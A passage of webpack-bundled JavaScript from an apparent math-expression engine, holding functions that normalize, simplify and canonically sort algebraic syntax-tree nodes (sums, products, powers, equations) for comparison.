_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasFrac ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW &&\n (variablePart(node.args[1]) === null && isNeg(options, mathValue(options, node.args[1], true)));\n return Object.assign({}, node, newNode(node.op, args));\n },\n comma: function(node) {\n var args = [];\n node.args.forEach(function (n) {\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags = {};\n args = args.concat(normalizeSympy(options, n));\n });\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MATRIX) {\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags = {\n hasMatrix: true,\n };\n } else {\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags = {\n hasComma: true,\n };\n }\n return Object.assign({}, node, newNode(node.op, args));\n },\n equals: function(node) {\n var args = [];\n node.args.forEach(function (n) {\n args = args.concat(normalizeSympy(options, n));\n });\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasRel = true;\n return Object.assign({}, node, newNode(node.op, args));\n }\n }), root.location);\n normalizeSympyLevel--;\n if (normalizeSympyLevel === 0) {\n tagNode(node);\n }\n return node;\n }\n\n //var normalizeCalculateLevel = 0;\n function normalizeCalculate(options, root) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root && root.args, \"2000: Internal error.\");\n var nid = ast.intern(root);\n if (root.normalizeCalculateNid === nid) {\n return root;\n }\n var rootNid = nid;\n // if (normalizeCalculateLevel === 0) {\n // console.log(\"normalizeCalculate() node: \" + JSON.stringify(stripNids(root), null, 2));\n // }\n // normalizeCalculateLevel++;\n var node = _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].create(options, visit(options, root, {\n name: \"normalizeCalculate\",\n numeric: function (node) {\n if (isNeg(options, node)) {\n // FIXME what's this doing?\n node = numberNode(options, node.args[0]); // NormalizeCalculate negatives\n }\n return node;\n },\n additive: function (node) {\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(node.args.length === 2, \"2000: Internal error.\");\n node = addNode([node.args[0], negate(node.args[1])], true /*flatten*/);\n } else if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PM) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(node.args.length === 2, \"2000: Operator \\pm can only be used on binary nodes\");\n node = addNode([\n node.args[0],\n unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PM, [node.args[1]])\n ]);\n }\n var args = [];\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MATRIX) {\n // Don't flatten matrix nodes.\n return node;\n }\n node = flattenNestedNodes(node);\n return sort(node);\n },\n multiplicative: function(node) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(node && node.op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].DIV, \"2000: Divsion should be eliminated during parsing\");\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC) {\n node = normalizeMul(node);\n }\n var args = [];\n // Flatten nested multiplication.\n // FIXME can't use flattenNestedNode because of slight differences\n var hasPM;\n node.args.forEach(function (n) {\n n = normalizeCalculate(options, n);\n if (ast.intern(n) === ast.intern(nodeOne)) {\n // If number node one, then erase it. Can't use mathValue here,\n // because it simplifies constant expressions.\n return;\n }\n if (args.length > 0) {\n if (isMinusOne(args[args.length-1])) {\n if (isMinusOne(n)) {\n // Double negative, so erase both.\n args.pop();\n return;\n }\n if (isPositiveInfinity(n)) {\n // Collapse.\n args.pop();\n args.push(nodeNegativeInfinity);\n return;\n }\n if (isNegativeInfinity(n)) {\n // Collapse.\n args.pop();\n args.push(nodePositiveInfinity);\n return;\n }\n }\n }\n if (n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n // Flatten\n args = args.concat(n.args);\n } else if (n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PM) {\n hasPM = true;\n args.push(n.args[0]);\n } else {\n args.push(n);\n }\n });\n if (args.length === 0) {\n node = nodeOne;\n } else if (args.length === 1) {\n node = args[0];\n } else {\n node = sort(binaryNode(node.op, args));\n }\n if (hasPM) {\n node = unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PM, [node]);\n }\n return node;\n },\n unary: function(node) {\n var args = [];\n node.args.forEach(function (n) {\n args = args.concat(normalizeCalculate(options, n));\n });\n node = newNode(node.op, args);\n switch (node.op) {\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD:\n return args[0];\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB:\n node = negate(args[0]);\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PERCENT:\n if (args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM) {\n var mv = mathValue(options, args[0]);\n node = numberNode(options, divide(mv, 100));\n } else {\n node = multiplyNode([\n binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [\n numberNode(options, \"100\"),\n nodeMinusOne\n ]), args[0]]);\n }\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PM:\n if (isNeg(options, mathValue(options, args[0], true))) {\n var args = node.args.slice(0);\n node = newNode(node.op, [negate(args.shift())].concat(args));\n }\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FACT:\n var mv = mathValue(options, args[0]);\n if (mv) {\n node = numberNode(options, factorial(mv));\n } else {\n node = unaryNode(node.op, [args[0]]);\n }\n break;\n default:\n // Do nothing.\n break;\n }\n return node;\n },\n variable: function(node) {\n if (node.args[0] === \"i\" && !option(options, \"dontSimplifyImaginary\")) {\n node = nodeImaginary;\n }\n if (node.args[0] === \"\\\\infty\") {\n node = nodePositiveInfinity;\n }\n return node;\n },\n exponential: function(node) {\n var args = [];\n switch(node.op) {\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG:\n // log_e has special meaning so don't normalizeCalculate 'e' in that case.\n if (ast.intern(node.args[0]) === ast.intern(nodeE)) {\n args.push(nodeE);\n } else {\n args.push(normalizeCalculate(options, node.args[0]));\n }\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW:\n if (isMinusOne(node.args[0]) && toNumber(mathValue(options, node.args[1], true)) === 0.5) {\n return nodeImaginary;\n } else if (isOne(node.args[0])) {\n return nodeOne;\n } else if (isMinusOne(node.args[0]) && isMinusOne(node.args[1])) {\n return nodeMinusOne;\n } else if (node.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].VAR &&\n node.args[1].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].VAR &&\n node.args[1].indexOf(\"'\") === 0) {\n // Merge previous var with current '.\n return variableNode(node.args[0].args[0] + node.args[1].args[0]);\n }\n // Fall through.\n default:\n args.push(normalizeCalculate(options, node.args[0]));\n break;\n }\n args.push(normalizeCalculate(options, node.args[1]));\n return binaryNode(node.op, args);\n },\n comma: function(node) {\n var vals = [];\n node.args.forEach(function (n) {\n vals = vals.concat(normalizeCalculate(options, n));\n });\n var node = newNode(node.op, vals);\n return sort(node);\n },\n equals: function(node) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(node.args.length === 2, Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"message\"])(2006));\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(isZero(node.args[1]), \"2000: Internal error.\");\n var coeffs = isPolynomial(node);\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(coeffs.length === 2, \"2000: Internal error.\");\n var c0 = coeffs[0] === undefined ? \"1\" : coeffs[0];\n var c1 = coeffs[1] === undefined ? \"1\" : coeffs[1];\n return fractionNode(negate(numberNode(options, c0)), numberNode(options, c1));\n }\n }), root.location);\n // normalizeCalculateLevel--;\n // If the node has changed, simplify again\n while (nid !== ast.intern(node)) {\n nid = ast.intern(node);\n node = normalizeCalculate(options, node);\n }\n node.normalizeCalculateNid = nid;\n return node;\n }\n\n var sortedNodes = [];\n function sort(root) {\n try {\n _assert_js__WEBPACK_IMPORTED_MODULE_0__[\"Assert\"].checkTimeout();\n } catch (e) {\n return root;\n }\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root && root.args, \"2000: Internal error.\");\n var nid = ast.intern(root);\n if (root.sortNid === nid) {\n return root;\n }\n var cachedNode;\n if ((cachedNode = sortedNodes[nid]) !== undefined) {\n return cachedNode;\n }\n var rootNid = nid;\n var node = visit(options, root, {\n name: \"sort\",\n numeric: function (node) {\n return node;\n },\n additive: function (node) {\n // Sort by descending degree\n var args = [];\n node.args.forEach(function (n, i) {\n if (i > 0 && node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB) {\n n = negate(n);\n }\n args.push(sort(n));\n });\n var op = node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB ? _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD : node.op;\n var isMixedNumber = node.isMixedNumber;\n var isRepeatingFlag = node.isRepeating;\n node = binaryNode(op, args, true);\n node.isMixedNumber = isMixedNumber;\n node.isRepeating = isRepeatingFlag;\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PM ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].BACKSLASH) {\n // Don't sort these kinds of nodes.\n return node;\n }\n var d0, d1;\n var n0, n1;\n var v0, v1;\n var c0, c1;\n var s0, s1;\n var cp0, cp1;\n for (var i = 0; i < node.args.length - 1; i++) {\n n0 = node.args[i];\n n1 = node.args[i + 1];\n d0 = degree(node.args[i]);\n d1 = degree(node.args[i + 1]);\n if (d0 < d1) {\n // Swap adjacent elements\n node.args[i] = n1;\n node.args[i + 1] = n0;\n } else if (d0 === d1) {\n v0 = variables(n0);\n v1 = variables(n1);\n if (v0.length !== v1.length) {\n if (v0.length < v1.length) {\n // Swap\n node.args[i] = n1;\n node.args[i + 1] = n0;\n }\n } else if(v0.length > 0) {\n if ((s0=v0.join(\",\")) !== (s1=v1.join(\",\"))) {\n if (s0 < s1) {\n // Swap adjacent elements\n node.args[i] = n1;\n node.args[i + 1] = n0;\n }\n } else if ((c0 = isPolynomial(n0)) && (c1 = isPolynomial(n1)) &&\n (s0=c0.join(\",\")) !== (s1=c1.join(\",\"))) {\n if (s0 < s1) {\n node.args[i] = n1;\n node.args[i + 1] = n0;\n }\n } else if (isLessThan(constantPart(n0), constantPart(n1))) {\n node.args[i] = n1;\n node.args[i + 1] = n0;\n }\n } else if (d0 === 0) {\n if (exponent(n0) !== exponent(n1)) {\n if (exponent(n0) < exponent(n1)) {\n node.args[i] = n1;\n node.args[i + 1] = n0;\n }\n } else if (isLessThan((cp0 = mathValue(options, constantPart(n0)), true), (cp1 = mathValue(options, constantPart(n1)), true))) {\n node.args[i] = n1;\n node.args[i + 1] = n0;\n } else if (!cp0 && cp1) {\n node.args[i] = n1;\n node.args[i + 1] = n0;\n }\n }\n }\n }\n return node;\n },\n multiplicative: function (node) {\n // Sort by ascending degree.\n var args = [];\n let hasMinusOne = false;\n node.args.forEach(n => {\n if (isMinusOne(n)) {\n hasMinusOne = !hasMinusOne;\n } else {\n args.push(sort(n));\n }\n });\n if (args.length === 0) {\n return nodeOne;\n }\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COEFF) {\n // Don't sort numerators and denominator or coefficients.\n return hasMinusOne && negate(binaryNode(node.op, args, true)) || binaryNode(node.op, args, true);\n }\n var d0, d1;\n var n0, n1;\n var v0, v1;\n var c0, c1;\n for (var i = 0; i < args.length - 1; i++) {\n var s0, s1;\n n0 = args[i];\n n1 = args[i + 1];\n d0 = degree(n0);\n d1 = degree(n1);\n if (d0 !== d1) {\n if (d0 > d1) {\n // Swap adjacent elements\n args[i] = n1;\n args[i + 1] = n0;\n }\n } else if (Math.abs(d0) === Math.abs(d1)) {\n v0 = n0.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && variables(n0.args[0]) || variables(n0);\n v1 = n1.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && variables(n1.args[0]) || variables(n1);\n var e0 = exponent(n0);\n var e1 = exponent(n1);\n if (e0 !== e1 && !isNaN(e0) && !isNaN(e1)) {\n if (e0 < e1) {\n args[i] = n1;\n args[i + 1] = n0;\n }\n } else if (v0.length !== v1.length) {\n if (v0.length < v1.length) {\n args[i] = n1;\n args[i + 1] = n0;\n }\n } else if (n0.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW &&\n n1.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW &&\n v0.length === 0) {\n // We have exponential exprs with the same exponent and no\n // variables so compare constant operands.\n if (isLessThan(mathValue(options, n0.args[0], true), mathValue(options, n1.args[0], true))) {\n args[i] = n1;\n args[i + 1] = n0;\n }\n } else if (n0.op !== n1.op) {\n if (hashCode(n0.op) < hashCode(n1.op)) {\n args[i] = n1;\n args[i + 1] = n0;\n }\n } else if(v0.length > 0) {\n if ((s0=v0.join(\",\")) !== (s1=v1.join(\",\"))) {\n if (s0 < s1) {\n // Swap adjacent elements\n args[i] = n1;\n args[i + 1] = n0;\n }\n } else if ((c0 = isPolynomial(n0)) && (c1 = isPolynomial(n1)) &&\n (s0=c0.join(\",\")) !== (s1=c1.join(\",\"))) {\n if (s0 < s1) {\n args[i] = n1;\n args[i + 1] = n0;\n }\n } else if (isLessThan(constantPart(n0), constantPart(n1))) {\n args[i] = n1;\n args[i + 1] = n0;\n }\n } else if (isLessThan(leadingCoeff(n0), leadingCoeff(n1))) {\n // Keep last\n args[i] = n1;\n args[i + 1] = n0;\n }\n }\n }\n if (hasMinusOne) {\n if (args.length === 0) {\n args.unshift(nodeMinusOne);\n } else {\n args.unshift(negate(args.shift()));\n }\n }\n node = binaryNode(node.op, args, true);\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(!(node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL && isMinusOne(node.args[node.args.length - 1])), \"node=\" + JSON.stringify(node, null, 2));\n return node;\n },\n unary: function(node) {\n var args = [];\n node.args.forEach(function (n) {\n args = args.concat(sort(n));\n });\n return newNode(node.op, args);\n },\n exponential: function (node) {\n var args = [];\n node.args.forEach(function (n, i) {\n args.push(sort(n));\n });\n node = binaryNode(node.op, args);\n return node;\n },\n variable: function(node) {\n return node;\n },\n comma: function(node) {\n var args = [];\n node.args.forEach(function (n) {\n args.push(sort(n));\n });\n switch (node.op) {\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COMMA:\n // If its a bare comma expression then sort.\n args.sort(function (a, b) {\n a = JSON.stringify(a);\n b = JSON.stringify(b);\n if (a < b) {\n return -1;\n }\n if (a > b) {\n return 1;\n }\n return 0;\n });\n break;\n default:\n break;\n }\n return newNode(node.op, args);\n },\n equals: function(node) {\n node.args.forEach(function (n, i) {\n node.args[i] = sort(n);\n });\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COLON ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].RIGHTARROW ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].GT ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].GE ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LT ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LE ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NGTR ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NLESS ||\n node.args.length === 2 && isZero(node.args[1])) {\n // If already normalized or ratio or chem, then don't sort toplevel terms.\n return node;\n }\n // Sort by descending degree\n var d0, d1;\n var n0, n1;\n var v0, v1;\n for (var i = 0; i < node.args.length - 1; i++) {\n n0 = node.args[i];\n n1 = node.args[i + 1];\n if ((d0 = degree(node.args[i], true)) < (d1 = degree(node.args[i + 1], true))) {\n // Swap adjacent elements\n node.args[i] = n1;\n node.args[i + 1] = n0;\n } else if (d0 === d1) {\n v0 = variables(n0);\n v1 = variables(n1);\n if (v0.length !== v1.length) {\n if(v0.length < v1.length) {\n // Swap adjacent elements\n var t = node.args[i];\n node.args[i] = n1;\n node.args[i + 1] = n0;\n }\n } else if (v0.length > 0) {\n if (v0[0] < v1[0]) {\n // Swap adjacent elements\n var t = node.args[i];\n node.args[i] = n1;\n node.args[i + 1] = n0;\n }\n } else if (!isZero(n1) && isLessThan(mathValue(options, n0), mathValue(options, n1))) {\n // Unless the RHS is zero, swap adjacent elements\n var t = node.args[i];\n node.args[i] = n1;\n node.args[i + 1] = n0;\n }\n }\n }\n return node;\n }\n });\n // If the node has changed, sort again\n while (nid !== ast.intern(node)) {\n nid = ast.intern(node);\n node = sort(node);\n }\n node.sortNid = nid;\n sortedNodes[rootNid] = node;\n return node;\n }\n\n var sortedLiteralNodes = [];\n function sortLiteral(root) {\n _assert_js__WEBPACK_IMPORTED_MODULE_0__[\"Assert\"].checkTimeout();\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root && root.args, \"2000: Internal error.\");\n var nid = ast.intern(root);\n if (root.sortLiteralNid === nid) {\n return root;\n }\n var cachedNode;\n if ((cachedNode = sortedLiteralNodes[nid]) !== undefined) {\n return cachedNode;\n }\n var rootNid = nid;\n var node = visit(options, root, {\n name: \"sortLiteral\",\n numeric: function (node) {\n return node;\n },\n additive: function (node) {\n var args = [];\n node.args.forEach(function (n) {\n args.push(sortLiteral(n));\n });\n node = binaryNode(node.op, args, true);\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PM ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].BACKSLASH) {\n // Don't sort these kinds of nodes.\n return node;\n }\n var id0, id1;\n var n0, n1;\n for (var i = 0; i < node.args.length - 1; i++) {\n n0 = node.args[i];\n n1 = node.args[i + 1];\n id0 = ast.intern(n0);\n id1 = ast.intern(n1);\n if (id0 < id1) {\n // Swap adjacent elements\n node.args[i] = n1;\n node.args[i + 1] = n0;\n }\n }\n return node;\n },\n multiplicative: function (node) {\n let args = [];\n let negs = 0;\n node.args.forEach(function (n) {\n if (n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB && n.args[0].op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB &&\n (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COEFF ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].CDOT ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].TIMES)) {\n // Pull negative signs out of multiplication args\n negs += 1;\n args.push(sortLiteral(n.args[0]));\n } else {\n args.push(sortLiteral(n));\n }\n });\n node = binaryNode(node.op, args);\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].DIV) {\n // Don't sort fraction or division nodes\n return node;\n }\n var id0, id1;\n var n0, n1;\n for (var i = 0; i < node.args.length - 1; i++) {\n n0 = node.args[i];\n n1 = node.args[i + 1];\n id0 = ast.intern(n0);\n id1 = ast.intern(n1);\n if (id0 < id1) {\n // Swap adjacent elements\n node.args[i] = n1;\n node.args[i + 1] = n0;\n }\n }\n args = [];\n for ( ; negs > 0; negs--) {\n // Put minus operators back to the leading args.\n args.push(unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB, [node.args.shift()]));\n }\n args = args.concat(node.args); // Concatentate the remaining args as they are.\n node = binaryNode(node.op, args);\n return node;\n },\n unary: function(node) {\n var args = [];\n node.args.forEach(function (n) {\n args.push(sortLiteral(n));\n });\n node = unaryNode(node.op, args);\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].CAP || node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].CUP) {\n var id0, id1;\n var n0, n1;\n for (var i = 0; i < node.args.length - 1; i++) {\n n0 = node.args[i];\n n1 = node.args[i + 1];\n id0 = ast.intern(n0);\n id1 = ast.intern(n1);\n if (id0 < id1) {\n // Swap adjacent elements\n node.args[i] = n1;\n node.args[i + 1] = n0;\n }\n }\n }\n return node;\n },\n exponential: function (node) {\n var args = [];\n node.args.forEach(function (n) {\n args.push(sortLiteral(n));\n });\n node = binaryNode(node.op, args);\n return node;\n },\n variable: function(node) {\n return node;\n },\n comma: function(node) {\n var args = [];\n node.args.forEach(function (n) {\n args.push(sortLiteral(n));\n });\n switch (node.op) {\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COMMA:\n // If its a bare comma expression then sort.\n args.sort(function (a, b) {\n a = JSON.stringify(a);\n b = JSON.stringify(b);\n if (a < b) {\n return -1;\n }\n if (a > b) {\n return 1;\n }\n return 0;\n });\n break;\n default:\n break;\n }\n return newNode(node.op, args);\n },\n equals: function(node) {\n node.args.forEach(function (n, i) {\n node.args[i] = sortLiteral(n);\n });\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COLON ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].RIGHTARROW ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].GT ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].GE ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LT ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LE ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NGTR ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NLESS) {\n // If already normalized or ratio or chem, then don't sort toplevel terms.\n return node;\n }\n var id0, id1;\n var n0, n1;\n for (var i = 0; i < node.args.length - 1; i++) {\n n0 = node.args[i];\n n1 = node.args[i + 1];\n id0 = ast.intern(n0);\n id1 = ast.intern(n1);\n if (id0 < id1) {\n // Swap adjacent elements\n node.args[i] = n1;\n node.args[i + 1] = n0;\n }\n }\n return node;\n }\n });\n // If the node has changed, sort again\n while (nid !== ast.intern(node)) {\n nid = ast.intern(node);\n node = sortLiteral(node);\n }\n node.sortLiteralNid = nid;\n sortedLiteralNodes[rootNid] = node;\n return node;\n }\n\n function isGrouping(options, node, level) {\n return (\n ((node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PAREN || node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].BRACE || node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].BRACKET) ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SET && option(options, \"inSet\")) &&\n node.args.length === 1 &&\n node.args[0].op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COMMA &&\n (level > 1 || node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PAREN)\n );\n }\n\n let normalizeLiteralLevel = 0;\n function normalizeLiteral(options, root) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root && root.args, \"2000: Internal error.\");\n var nid = ast.intern(root);\n if (root.normalizeLiteralNid === nid) {\n return root;\n }\n normalizeLiteralLevel++;\n var node = visit(options, root, {\n name: \"normalizeLiteral\",\n numeric: function (node) {\n const ignoreTrailingZeros = option(options, 'ignoreTrailingZeros');\n const hasTrailingZeros = node.hasTrailingZeros && !ignoreTrailingZeros;\n const hasDecimalSeparator = node.args[0].indexOf('.') >= 0;\n if (hasTrailingZeros) {\n // Use newNode since numberNode messes with the trailing zeros.\n const zeros = new Array(node.hasTrailingZeros).fill(0).join('');\n node = newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM, [node.args[0] + (!hasDecimalSeparator && '.' || '') + zeros]);\n } else if (node.args.length === 1 && node.args[0] === '0.') {\n node = nodeZero;\n } else if (node.args[0].charAt(node.args[0].length - 1) === '.') {\n node = numberNode(options, node.args[0].slice(0, node.args[0].length - 1));\n }\n return node;\n },\n additive: function (node) {\n var args = [];\n var compareGrouping = node.lbrk && _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].option(options, \"compareGrouping\");\n node.args.forEach(function (n) {\n args.push(normalizeLiteral(options, n));\n });\n if (_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].option(options, \"ignoreOrder\") && node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(args.length === 2, \"2000: Internal error.\");\n node = addNode([args[0], normalizeLiteral(options, unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB, [args[1]]))]);\n } else {\n node = binaryNode(node.op, args, true); // Flatten in case there was redundant grouping.\n }\n if (compareGrouping) {\n // Reconstitute brackets\n node = newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PAREN, [node]);\n }\n return node;\n },\n multiplicative: function (node) {\n if (option(options, 'normalizeArithmetic') && (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC || node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].DIV)) {\n node = normalizeMul(node);\n }\n var args = [];\n var compareGrouping = node.lbrk && _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].option(options, \"compareGrouping\");\n var flatten = !compareGrouping;\n node.args.forEach(function (n) {\n // (x')y vs y(x')\n if (_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].option(options, \"compatibility\") === \"v1.37\") {\n args.push(normalizeLiteral(options, n));\n } else {\n if (n.isPolynomialTerm && args.length > 0 &&\n (node.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM ||\n node.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB && node.args[0].args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM)) {\n let t = multiplyNode([args.pop(), normalizeLiteral(options, n)], true);\n args.push(binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COEFF, t.args));\n } else {\n args.push(normalizeLiteral(options, n));\n }\n }\n });\n let op;\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].CDOT && (!isAggregate(node.args[0]) || !isAggregate(node.args[1]))) {\n // Convert explicit multiplication to times.\n op = _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].TIMES;\n } else {\n op = node.op;\n }\n node = binaryNode(op, args, flatten);\n if (compareGrouping) {\n // Reconstitute brackets\n node = newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PAREN, [node]);\n }\n return node;\n },\n unary: function(node) {\n const compareGrouping = _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].option(options, \"compareGrouping\");\n if (isGrouping(options, node, normalizeLiteralLevel)) {\n return normalizeLiteral(options, node.args[0]);\n }\n if (node.args[0].args.length === 1 &&\n (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD || node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB) &&\n (node.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD || node.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB)) {\n // Don't strip redundant + or - inside another unary + or -.\n node.args[0].args[0] = normalizeLiteral(options, node.args[0].args[0]);\n return node;\n }\n var args = [];\n node.args.forEach(function (n) {\n args.push(normalizeLiteral(options, n));\n });\n node = newNode(node.op, args);\n switch (node.op) {\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB:\n if (isMultiplicative(node.args[0])) {\n // Push unary minus down to first factor.\n let arg = node.args[0];\n let op =\n arg.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB && arg.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COEFF && _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL ||\n arg.op; // If double SUB then use MUL for COEFF.\n return binaryNode(op, [unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB, [arg.args.shift()])].concat(arg.args));\n }\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD:\n // Strip redundant +, unless followed by unary + or -.\n if (node.args[0].args.length > 1 || node.args[0].op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD && node.args[0].op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB) {\n return normalizeLiteral(options, 